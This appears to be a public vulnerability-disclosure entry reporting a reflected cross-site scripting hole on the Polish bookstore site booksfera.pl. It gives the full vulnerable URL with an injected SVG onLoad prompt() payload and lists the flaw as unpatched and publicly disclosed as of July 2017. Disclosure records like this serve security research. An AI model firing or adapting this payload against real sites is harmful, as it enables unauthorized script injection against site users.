booksfera.pl XSS vulnerability

Vulnerable URL: http://www.booksfera.pl/katalog/?kategoria==1=x%22%3E%3CsvG+onLoad%3Dprompt%289%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2572273 VIP website status:| No...